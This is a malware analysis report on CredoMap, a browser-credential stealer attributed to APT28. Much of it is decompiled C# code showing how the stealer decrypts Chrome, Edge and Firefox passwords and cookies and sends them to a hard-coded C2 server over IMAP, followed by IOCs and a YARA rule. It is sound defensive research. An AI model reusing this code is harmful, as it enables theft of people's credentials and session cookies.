

A Deep Dive Into the APT28's stealer called...

securityscorecard.com/research/apt28s-stealer-called-credomap



[Skip to main content](#)

- [Support](#)
- [Login](#)
- [Contact](#)
- [Blog](#)
- [Languages](#)
 - [English](#)
 - [Français](#)
 - [日本語](#)
- [Request a Demo](#)

Interested in reading the report later? [Download it.](#)

[Download Now](#)

A Deep Dive Into the APT28's stealer called CredoMap

Prepared by: **Vlad Pasca, Senior Malware & Threat Analyst**

Executive summary

CredoMap is a stealer developed by the Russian APT28/Sofacy/Fancy Bear that was used to target users in Ukraine in the context of the ongoing war between Russia and Ukraine. The malware was initially discovered by [Google](#) and [CERT-UA](#). The threat actor weaponized a document to exploit the Follina (CVE-2022-30190) vulnerability that would result in downloading the .NET stealer. The malware aims to steal the credentials and cookies from Google Chrome, Mozilla Firefox, and Microsoft Edge. The data exfiltration is done by sending information to a possibly compromised C2 server via the IMAP email protocol.

Analysis and findings

SHA256: 2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933

The process retrieves the path of the current executable and then connects to a hard-coded C2 server (162.241.216.236) on port 143 (IMAP) using hard-coded credentials:

```
633     private static void Main(string[] args)
634     {
635         string name = AppDomain.CurrentDomain.BaseDirectory + AppDomain.CurrentDomain.FriendlyName;
636         Program.connect(Program.creds.Split(new char[]
637         {
638             ':'
639         })[2], 143);
640         Program.Login(Program.creds.Split(new char[]
641         {
642             ':'
643         })[0], Program.creds.Split(new char[]
644         {
645             ':'
646         })[1]);
```

Figure 1

```
703     private static string creds = "#:162.241.216.236";
704
705     // Token: 0x04000007 RID: 7
706     private static NetworkStream ssl = null;
707
708     // Token: 0x04000008 RID: 8
709     private static TcpClient tcp = null;
710
711     // Token: 0x04000009 RID: 9
712     private static List<string> folders = new List<string>();
713
714     // Token: 0x0400000A RID: 10
715     private static int viewSize = 0;
716
717     // Token: 0x0400000B RID: 11
718     private static int messageSize = 0;
```

Figure 2

The malware creates a TcpClient object, obtains a client stream for reading and writing, and then reads the response from the server:

```

25     private static void connect(string server, int port)
26     {
27         byte[] buffer = new byte[2048];
28         try
29         {
30             Program.tcp = new TcpClient(server, port)
31             {
32                 ReceiveBufferSize = 262144
33             };
34             Program.tcp.Client.ReceiveBufferSize = 262144;
35             Program.tcp.NoDelay = true;
36             Program.ssl = Program.tcp.GetStream();
37         }
38         catch
39         {
40             return;
41         }
42         Program.ssl.Read(buffer, 0, 2048);
43     }

```

Figure 3

The binary performs the login operation and reads the response using the Read method:

```

46     private static void Login(string login, string password)
47     {
48         byte[] buffer = new byte[512];
49         byte[] bytes = Encoding.ASCII.GetBytes(string.Concat(new string[]
50         {
51             "$ LOGIN ",
52             login,
53             " ",
54             password,
55             "\r\n"
56         }));
57         Program.ssl.Write(bytes, 0, bytes.Length);
58         Program.ssl.Read(buffer, 0, 512);
59     }

```

Figure 4

It selects the INBOX folder using the SELECT command and performs multiple function calls that steal the browsers' credentials and cookies:

```

647         Program.selectFolder("INBOX");
648         Program.create(Program.ch1());
649         Program.create(Program.ch2());
650         Program.create(Program.ff1());
651         Program.ff2();
652         Program.create(Program.ed1());
653         Program.create(Program.ed2());
654         Thread.Sleep(60000);

```

Figure 5

```

62     private static void selectFolder(string folderName)
63     {
64         byte[] array = new byte[1024];
65         byte[] array2 = new byte[1024];
66         byte[] bytes = Encoding.ASCII.GetBytes("$ SELECT " + folderName + "\r\n");
67         Program.ssl.Write(bytes, 0, bytes.Length);
68         Program.ssl.Read(array, 0, 1024);
69         string @string = Encoding.ASCII.GetString(array);
70         bool flag = @string.Contains("$ NO");
71         if (flag)
72         {
73             throw new InvalidOperationException("no");
74         }
75     }

```

Figure 6

The sample verifies if the file "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies" exists in the Local AppData folder by calling the File.Exists function:

```

104     bool flag = !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
105     string result;
106     if (flag)
107     {
108         result = "Chrome not found";
109     }

```

Figure 7

The File.Copy method is used to copy the above file to a new file called "cc":

```

113     for (;;)
114     {
115         try
116         {
117             File.Copy(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", "cc", true);
118             break;
119         }
120         catch
121         {
122             Thread.Sleep(10000);
123         }
124     }

```

Figure 8

The malicious binary opens a connection to the Cookies database and executes an SQL query that extracts some fields:

```

125     SQLiteConnection sqliteConnection = new SQLiteConnection("Data Source=cc");
126     sqliteConnection.Open();
127     SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT host_key, name, encrypted_value FROM cookies", sqliteConnection);
128     SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader();

```

Figure 9

The process opens and reads the file called "Local/Google/Chrome/User Data/Local State" using File.ReadAllText. It extracts the Base64-encoded random key that is encrypted with DPAPI from JSON(["os_crypt"]["encrypted_key"]). The key is Base64-decoded and decrypted via a function call to ProtectedData.Unprotect:

```

129     while (sqliteDataReader.Read())
130     {
131         byte[] array = (byte[])sqliteDataReader["encrypted_value"];
132         string text = File.ReadAllText(Environment.GetEnvironmentVariable("APPDATA") + "../Local/Google/Chrome/User Data/Local State");
133         text = JObject.Parse(text)["os_crypt"]["encrypted_key"].ToString();
134         byte[] array2 = ProtectedData.Unprotect(Convert.FromBase64String(text).Skip(5).ToArray<byte>(), null, DataProtectionScope.LocalMachine);

```

Figure 10

The binary creates an AesEngine object, an AeadParameters object containing the decrypted AES-128 key and the nonce (12 bytes), and calls the GcmBlockCipher.Init function with a "False" parameter (decryption operation):

```

135     using (MemoryStream memoryStream = new MemoryStream(array))
136     {
137         using (BinaryReader binaryReader = new BinaryReader(memoryStream))
138         {
139             byte[] array3 = binaryReader.ReadBytes(3);
140             byte[] array4 = binaryReader.ReadBytes(12);
141             GcmBlockCipher gcmBlockCipher = new GcmBlockCipher(new AesEngine());
142             AeadParameters aeadParameters = new AeadParameters(new KeyParameter(array2), 128, array4);
143             gcmBlockCipher.Init(false, aeadParameters);
144             byte[] array5 = binaryReader.ReadBytes(array.Length);
145             byte[] array6 = new byte[gcmBlockCipher.GetOutputSize(array5.Length)];

```

Figure 11

The "encrypted_value" extracted from the Cookies database is decrypted using the ProcessBytes and DoFinal methods:

```

146     try
147     {
148         int num = gcmBlockCipher.ProcessBytes(array5, 0, array5.Length, array6, 0);
149         gcmBlockCipher.DoFinal(array6, num);
150     }

```

Figure 12

The resulting values are stored in a dictionary that has the keys as "host_key" with values "name=<Decrypted encrypted_value>", as highlighted in the figure below.

```

154         string @string = Encoding.Default.GetString(array6);
155         string text2 = sqlitedataReader["host_key"].ToString();
156         object obj = sqlitedataReader["name"];
157         bool flag2 = dictionary.ContainsKey(text2);
158         if (flag2)
159         {
160             Dictionary<string, string> dictionary2 = dictionary;
161             string key = text2;
162             dictionary2[key] = string.Concat(new string[]
163             {
164                 dictionary2[key],
165                 (obj != null) ? obj.ToString() : null,
166                 "=",
167                 @string,
168                 "; "
169             });
170         }
171         else
172         {
173             dictionary.Add(text2, ((obj != null) ? obj.ToString() : null) + "=" + @string + "; ");
174         }

```

Figure 13

Finally, the process serializes the dictionary to a JSON string using `JsonConvert.SerializeObject`:

```

178         string text3 = JsonConvert.SerializeObject(dictionary);
179         result = text3;
180     }
181     return result;

```

Figure 14

The data exfiltration occurs by issuing a valid IMAP APPEND command. The “From” field is set to the username obtained from the `Environment.UserName` property, the “Subject” field is set to the current date and time on the computer obtained from the `DateTime.UtcNow` property, and the JSON string is also included in the command (see figure 15).

```

78     private static void create(string text)
79     {
80         text = string.Concat(new string[]
81         {
82             "From: a_",
83             Environment.UserName,
84             "\r\nSubject:",
85             DateTime.UtcNow.ToString(),
86             "_report\r\n\r\n",
87             text
88         });
89         int length = text.Length;
90         byte[] bytes = Encoding.ASCII.GetBytes(string.Concat(new string[]
91         {
92             "$ APPEND INBOX {",
93             length.ToString(),
94             "}\r\n",
95             text,
96             "\r\n"
97         }));
98         Program.ssl.Write(bytes, 0, bytes.Length);
99     }

```

Figure 15

The malware verifies if the file “\Google\Chrome\User Data\Default>Login Data” exists in the Local AppData folder using `File.Exists`:

```

340     private static string ch2()
341     {
342         bool flag = !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data");
343         string result;
344         if (flag)
345         {
346             result = "Chrome not found";
347         }

```

Figure 16

The `File.Copy` function is utilized to copy the above file to a new file called “cp”:

```

350     string text = "chrome:\r\n";
351     string sourceFileName = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
352     string text2 = "cp";
353     for (;;)
354     {
355         try
356         {
357             File.Copy(sourceFileName, text2, true);
358             break;
359         }
360         catch
361         {
362             Thread.Sleep(10000);
363         }
364     }

```

Figure 17

The binary opens a connection to the Login Data database and executes an SQL query that extracts the “action_url”, “username_value”, and “password_value” fields:

```

365     SQLiteConnection sqliteConnection = new SQLiteConnection("Data Source=" + text2);
366     try
367     {
368         sqliteConnection.Open();
369         SQLiteCommand sqliteCommand = sqliteConnection.CreateCommand();
370         sqliteCommand.CommandText = "SELECT action_url, username_value, password_value FROM logins";
371         SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader();

```

Figure 18

The malicious process reads the file “Local/Google/Chrome/User Data/Local State” found in the AppData directory and deserializes it using the JsonConvert.DeserializeObject method:

```

372     byte[] key = AesGcm256.GetKey();

```

Figure 19

```

48     public static byte[] GetKey()
49     {
50         string empty = string.Empty;
51         string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
52         string fullPath = Path.GetFullPath(folderPath + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
53         string text = File.ReadAllText(fullPath);
54         object arg = JsonConvert.DeserializeObject(text);

```

Figure 20

The sample extracts the Base64-encoded random key that is encrypted with DPAPI from [“os_crypt”][“encrypted_key”]. The key is Base64-decoded and decrypted via a function call to ProtectedData.Unprotect:

```

55     if (AesGcm256.o_2.o_p_2 == null)
56     {
57         AesGcm256.o_2.o_p_2 = CallSite<Func<CallSite, object, string>>.Create(Binder.Convert(CSharpBinderFlags.None, typeof(string), typeof(AesGcm256)));
58     }
59     Func<CallSite, object, string> target = AesGcm256.o_2.o_p_2.Target;
60     CallSite <p__ = AesGcm256.o_2.o_p_2;
61     if (AesGcm256.o_2.o_p_1 == null)
62     {
63         AesGcm256.o_2.o_p_1 = CallSite<Func<CallSite, object, object>>.Create(Binder.GetMember(CSharpBinderFlags.None, "encrypted_key", typeof(AesGcm256), new CSharpArgumentInfo[]
64         {
65             CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
66         }));
67     }
68     Func<CallSite, object, object> target2 = AesGcm256.o_2.o_p_1.Target;
69     CallSite <p__2 = AesGcm256.o_2.o_p_1;
70     if (AesGcm256.o_2.o_p_0 == null)
71     {
72         AesGcm256.o_2.o_p_0 = CallSite<Func<CallSite, object, object>>.Create(Binder.GetMember(CSharpBinderFlags.None, "os_crypt", typeof(AesGcm256), new CSharpArgumentInfo[]
73         {
74             CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
75         }));
76     }
77     string s = target(<p__, target2(<p__2, AesGcm256.o_2.o_p_0.Target(AesGcm256.o_2.o_p_0, arg)));
78     byte[] source = Convert.FromBase64String(s);
79     byte[] encryptedData = source.Skip(5).ToArray<byte>();
80     return ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser);

```

Figure 21

The encrypted “password_value” field is decrypted using a function that will be explained below:

```

373 while (sqliteDataReader.Read())
374 {
375     object obj = sqliteDataReader["username_value"];
376     object obj2 = sqliteDataReader["action_url"];
377     string text3 = "";
378     byte[] bytes = Program.GetBytes(sqliteDataReader, 2);
379     byte[] iv;
380     byte[] encryptedBytes;
381     AesGcm256.prepare(bytes, out iv, out encryptedBytes);
382     string text4 = AesGcm256.decrypt(encryptedBytes, key, iv);

```

Figure 22

The first 12 bytes after skipping 3 bytes (version tag) from “password_value” represent the AES nonce, and the rest of the information is the ciphertext, as displayed in the figure below.

```

39 public static void prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)
40 {
41     nonce = new byte[12];
42     ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];
43     Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
44     Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
45 }

```

Figure 23

As in the first case, the “password_value” field is decrypted by calling the ProcessBytes and DoFinal functions:

```

19 public static string decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
20 {
21     string result = string.Empty;
22     try
23     {
24         GcmBlockCipher gcmBlockCipher = new GcmBlockCipher(new AesFastEngine());
25         AeadParameters aeadParameters = new AeadParameters(new KeyParameter(key), 128, iv, null);
26         gcmBlockCipher.Init(false, aeadParameters);
27         byte[] array = new byte[gcmBlockCipher.GetOutputSize(encryptedBytes.Length)];
28         int num = gcmBlockCipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, array, 0);
29         gcmBlockCipher.DoFinal(array, num);
30         result = Encoding.UTF8.GetString(array).TrimEnd("\r\n\0").ToCharArray();
31     }
32     catch
33     {
34     }
35     return result;
36 }

```

Figure 24

However, not all the passwords might be encrypted using AES-GCM. In the case of older versions of Chrome, the threat actor tries to decrypt the passwords using the ProtectedData.Unprotect API:

```

383 try
384 {
385     text3 = Encoding.UTF8.GetString(ProtectedData.Unprotect((byte[])sqliteDataReader["password_value"], null, DataProtectionScope.CurrentUser));
386 }
387 catch
388 {
389 }

```

Figure 25

As we can see in figure 26, the process computes a string containing "action_url", "username_value", and the decrypted “password_value” field that was obtained using the 1st method of decryption or the 2nd method of decryption, respectively:

```

390     bool flag2 = text4 != "";
391     if (flag2)
392     {
393         text = string.Concat(new string[]
394         {
395             text,
396             (obj2 != null) ? obj2.ToString() : null,
397             "\n",
398             (obj != null) ? obj.ToString() : null,
399             "\n",
400             text4,
401             " 1\r\n"
402         });
403     }
404     else
405     {
406         bool flag3 = text3 != "";
407         if (flag3)
408         {
409             text = string.Concat(new string[]
410             {
411                 text,
412                 (obj2 != null) ? obj2.ToString() : null,
413                 "\n",
414                 (obj != null) ? obj.ToString() : null,
415                 "\n",
416                 text3,
417                 " 2\r\n"
418             });
419         }
420     }
421 }

```

Figure 26

The credentials exfiltration occurs, in the same way, using an IMAP command to the C2 server.

The binary checks if the directory "Mozilla\Firefox\Profiles\" can be located in the AppData folder (see figure 27).

```

247     private static string ff1()
248     {
249         Dictionary<string, string> dictionary = new Dictionary<string, string>();
250         string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\";
251         bool flag = !Directory.Exists(path);
252         string result;
253         if (flag)
254         {
255             result = "FF not found";
256         }
257     }

```

Figure 27

The malware is looking for a file called "cookies.sqlite" in the profile folders. The "cookies.sqlite" database is copied to a file called "fc":

```

259     string[] directories = Directory.GetDirectories(path);
260     foreach (string str in directories)
261     {
262         bool flag2 = !File.Exists(str + "\\cookies.sqlite");
263         if (!flag2)
264         {
265             for (;;)
266             {
267                 try
268                 {
269                     File.Copy(str + "\\cookies.sqlite", "fc", true);
270                     break;
271                 }
272                 catch
273                 {
274                     Thread.Sleep(10000);
275                 }
276             }
277         }
278     }

```

Figure 28

The sample runs the "SELECT * FROM moz_cookies" SQL query to retrieve the Firefox cookies:


```

277         SqlConnection sqliteConnection = new SqlConnection("Data Source=fc");
278         sqliteConnection.Open();
279         SQLiteCommand sqliteCommand = sqliteConnection.CreateCommand();
280         sqliteCommand.CommandText = "SELECT * FROM moz_cookies";
281         try
282         {
283             SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader();

```

Figure 29

A new dictionary is created having the keys as "host" with values "name=value;", as shown in the figure below.

```

284         while (sqliteDataReader.Read())
285         {
286             object obj = sqliteDataReader["name"];
287             object obj2 = sqliteDataReader["value"];
288             string text = sqliteDataReader["host"].ToString();
289             bool flag3 = dictionary.ContainsKey(text);
290             if (flag3)
291             {
292                 Dictionary<string, string> dictionary2 = dictionary;
293                 string key = text;
294                 dictionary2[key] = string.Concat(new string[]
295                 {
296                     dictionary2[key],
297                     (obj != null) ? obj.ToString() : null,
298                     "=",
299                     (obj2 != null) ? obj2.ToString() : null,
300                     "; "
301                 });
302             }
303             else
304             {
305                 dictionary.Add(text, ((obj != null) ? obj.ToString() : null) + "=" + ((obj2 != null) ? obj2.ToString() : null) + "; ");
306             }
307         }

```

Figure 30

The dictionary is serialized to JSON and will be exfiltrated via IMAP.

The executable verifies if the following files can be identified in the profile folders:

- logins.json
- key4.db
- cert9.db
- signons.sqlite
- key3.db
- cert8.db

```

185     private static void ff2()
186     {
187         string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\";
188         bool flag = !Directory.Exists(path);
189         if (!flag)
190         {
191             string[] directories = Directory.GetDirectories(path);
192             string[] array = new string[]
193             {
194                 "logins.json",
195                 "key4.db",
196                 "cert9.db",
197                 "signons.sqlite",
198                 "key3.db",
199                 "cert8.db"
200             };
201             int num = 1;
202             foreach (string text in directories)
203             {
204                 try
205                 {
206                     foreach (string text2 in array)
207                     {
208                         bool flag2 = !File.Exists(text + "\\\" + text2);

```

Figure 31

If any of the above files exist, it is copied to the current directory, and its content is encoded using Base64. The file location and the Base64-encoded content are exfiltrated using the IMAP protocol. Finally, the newly created files are deleted using File.Delete:

```
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
    try
    {
        File.Copy(text + "\\\" + text2, text2, true);
        byte[] inArray = File.ReadAllBytes(text2);
        string text3 = Convert.ToBase64String(inArray);
        Program.create(string.Concat(new string[]
        {
            text,
            " ",
            text2,
            " {",
            text3,
            "}"
        }));
        File.Delete(text2);
        break;
    }
```

Figure 32

The File.Exists function is used to check if the file “Microsoft\Edge\User Data\Default>Login Data” exists in the Local AppData directory:

```
434
435
436
437
438
439
440
441
    private static string edi()
    {
        bool flag = !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\Edge\User Data\Default>Login Data");
        string result;
        if (flag)
        {
            result = "Edge not found";
        }
    }
```

Figure 33

The above file is copied to a new file called “ep”, as highlighted in figure 34.

```
445
446
447
448
449
450
451
452
453
454
455
456
457
458
    string sourceFileName = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\Edge\User Data\Default>Login Data";
    string text2 = "ep";
    for (;;)
    {
        try
        {
            File.Copy(sourceFileName, text2, true);
            break;
        }
        catch
        {
            Thread.Sleep(10000);
        }
    }
```

Figure 34

The sample executes the following SQL query that extracts usernames and encrypted passwords from the “logins” table:

```
459
460
461
462
463
464
465
    SQLiteConnection sqliteConnection = new SQLiteConnection("Data Source=" + text2);
    try
    {
        sqliteConnection.Open();
        SQLiteCommand sqliteCommand = sqliteConnection.CreateCommand();
        sqliteCommand.CommandText = "SELECT action_url, username_value, password_value FROM logins";
        SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader();
    }
```

Figure 35

The “password_value” field is decrypted by calling the decrypt function that was also used to decrypt the Chrome credentials:

```

466     byte[] key = AesGcm256.GetKey();
467     while (sqliteDataReader.Read())
468     {
469         object obj = sqliteDataReader["username_value"];
470         object obj2 = sqliteDataReader["action_url"];
471         string text3 = "";
472         byte[] bytes = Program.GetBytes(sqliteDataReader, 2);
473         byte[] iv;
474         byte[] encryptedBytes;
475         AesGcm256.prepare(bytes, out iv, out encryptedBytes);
476         string text4 = AesGcm256.decrypt(encryptedBytes, key, iv);

```

Figure 36

In the case of older versions of Microsoft Edge, the process tries to decrypt the passwords using the ProtectedData.Unprotect function:

```

477     try
478     {
479         text3 = Encoding.UTF8.GetString(ProtectedData.Unprotect((byte[])sqliteDataReader["password_value"], null, DataProtectionScope.CurrentUser));
480     }

```

Figure 37

The malware creates a string containing "action_url", "username_value", and the decrypted "password_value" field that was obtained using one of the two decryption methods:

```

484     bool flag2 = text4 != "";
485     if (flag2)
486     {
487         text = string.Concat(new string[]
488         {
489             text,
490             (obj2 != null) ? obj2.ToString() : null,
491             "\n",
492             (obj != null) ? obj.ToString() : null,
493             "\n",
494             text4,
495             "\n\r\n"
496         });
497     }
498     else
499     {
500         bool flag3 = text3 != "";
501         if (flag3)
502         {
503             text = string.Concat(new string[]
504             {
505                 text,
506                 (obj2 != null) ? obj2.ToString() : null,
507                 "\n",
508                 (obj != null) ? obj.ToString() : null,
509                 "\n",
510                 text3,
511                 "\n\r\n"
512             });
513         }
514     }

```

Figure 38

The executable verifies if the file "\Microsoft\Edge\User Data\Default\Network\Cookies" can be found in the Local AppData folder (see figure 39).

```

528     private static string ed2()
529     {
530         bool flag = !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies");
531         string result;
532         if (flag)
533         {
534             result = "Edge not found";
535         }

```

Figure 39

File.Copy is used to copy the above file to a file called "ec":

```

539     for (;;)
540     {
541         try
542         {
543             File.Copy(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies", "ec", true);
544             break;
545         }
546         catch
547         {
548             Thread.Sleep(10000);
549         }
550     }

```

Figure 40

The following SQL query is run by the malware, which extracts some fields from the “cookies” table:

```
551 SQLiteConnection sqliteConnection = new SQLiteConnection("Data Source=ec");
552 sqliteConnection.Open();
553 SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT host_key, name, encrypted_value FROM cookies", sqliteConnection);
554 SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader();
```

Figure 41

The binary extracts the Base64-encoded key that was encrypted with DPAPI from “%LocalApplicationData%\Microsoft\Edge\User Data\Local State”. The key is decrypted via a function call to ProtectedData.Unprotect:

```
557 byte[] array = (byte[])sqliteDataReader["encrypted_value"];
558 string text = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Edge\User Data\Local State");
559 text = JObject.Parse(text)["os_crypt"]["encrypted_key"].ToString();
560 byte[] array2 = ProtectedData.Unprotect(Convert.FromBase64String(text).Skip(5).ToArray<byte>(), null, DataProtectionScope.LocalMachine);
```

Figure 42

The “encrypted_value” field is decrypted using the AES key extracted above by calling the ProcessBytes and DoFinal methods:

```
561 using (MemoryStream memoryStream = new MemoryStream(array))
562 {
563     using (BinaryReader binaryReader = new BinaryReader(memoryStream))
564     {
565         byte[] array3 = binaryReader.ReadBytes(3);
566         byte[] array4 = binaryReader.ReadBytes(12);
567         GcmBlockCipher gcmBlockCipher = new GcmBlockCipher(new AesEngine());
568         AeadParameters aeadParameters = new AeadParameters(new KeyParameter(array2), 128, array4);
569         gcmBlockCipher.Init(false, aeadParameters);
570         byte[] array5 = binaryReader.ReadBytes(array.Length);
571         byte[] array6 = new byte[gcmBlockCipher.GetOutputSize(array5.Length)];
572         try
573         {
574             int num = gcmBlockCipher.ProcessBytes(array5, 0, array5.Length, array6, 0);
575             gcmBlockCipher.DoFinal(array6, num);
576         }
```

Figure 43

The function result is a dictionary containing the relevant information that is serialized using JsonConvert.SerializeObject:

```
580 string @string = Encoding.Default.GetString(array6);
581 string text2 = sqliteDataReader["host_key"].ToString();
582 object obj = sqliteDataReader["name"];
583 bool flag2 = dictionary.ContainsKey(text2);
584 if (flag2)
585 {
586     Dictionary<string, string> dictionary2 = dictionary;
587     string key = text2;
588     dictionary2[key] = string.Concat(new string[]
589     {
590         dictionary2[key],
591         (obj != null) ? obj.ToString() : null,
592         "=",
593         @string,
594         "; "
595     });
596 }
597 else
598 {
599     dictionary.Add(text2, ((obj != null) ? obj.ToString() : null) + "=" + @string + "; ");
600 }
```

Figure 44

All the files that were copied to the current directory are deleted using the File.Delete function:

```

654     Thread.Sleep(60000);
655     GC.Collect();
656     GC.WaitForFullGCComplete();
657     string[] array = new string[]
658     {
659         "cp",
660         "cc",
661         "fc",
662         "fp",
663         "ec",
664         "ep"
665     };
666     foreach (string path in array)
667     {
668         for (;;)
669         {
670             try
671             {
672                 File.Delete(path);
673                 break;
674             }
675             catch
676             {
677                 Thread.Sleep(5000);
678             }
679         }
680     }

```

Figure 45

The malicious process sets Normal attributes for a file called "SQLite.Interop.dll," which Malwarebytes found that it's downloaded from the C2 server along with the initial executable. The DLL file is deleted using File.Delete and another deletion function implemented by the malware:

```

681     try
682     {
683         File.SetAttributes("SQLite.Interop.dll", FileAttributes.Normal);
684         File.Delete("SQLite.Interop.dll");
685     }
686     catch (Exception ex)
687     {
688         string message = ex.Message;
689     }
690     try
691     {
692         Program.del("SQLite.Interop.dll");
693     }

```

Figure 46

The implementation of the deletion function consists of creating a cmd.exe process that deletes the DLL file shown above:

```

621     private static void del(string name)
622     {
623         Process.Start(new ProcessStartInfo
624         {
625             Arguments = "/C Del " + name,
626             WindowStyle = ProcessWindowStyle.Hidden,
627             CreateNoWindow = true,
628             FileName = "cmd.exe"
629         });
630     }

```

Figure 47

The process deletes the initial executable and then exits:

```
694     catch (Exception ex2)
695     {
696         string message2 = ex2.Message;
697     }
698     Program.del(name);
699     Application.Exit();
700 }
```

Figure 48

Indicators of Compromise

C2 server

162.241.216.236

SHA256

2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933

Processes spawned

cmd.exe "/C Del <Files>"

YARA rule to detect the threat

```
rule CredoMap_APT28
```

```
{
```

```
meta:
```

```
author = "Vlad Pasca - SecurityScorecard"
```

```
Date = "2022-09-16"
```

```
strings:
```

```
$s1 = "\\cookies.sqlite" fullword wide
```

```
$s2 = "SQLite.Interop.dll" fullword wide
```

```
$s3 = "Subject:" fullword wide
```

```
$s4 = "$ LOGIN" fullword wide
```

```
$s5 = "/C Del" fullword wide
```

```
condition:
```

(uint16(0) == 0x5A4D) and (4 of (\$s*))

}

Join us in making the world a safer place.

[Free Account Sign Up](#)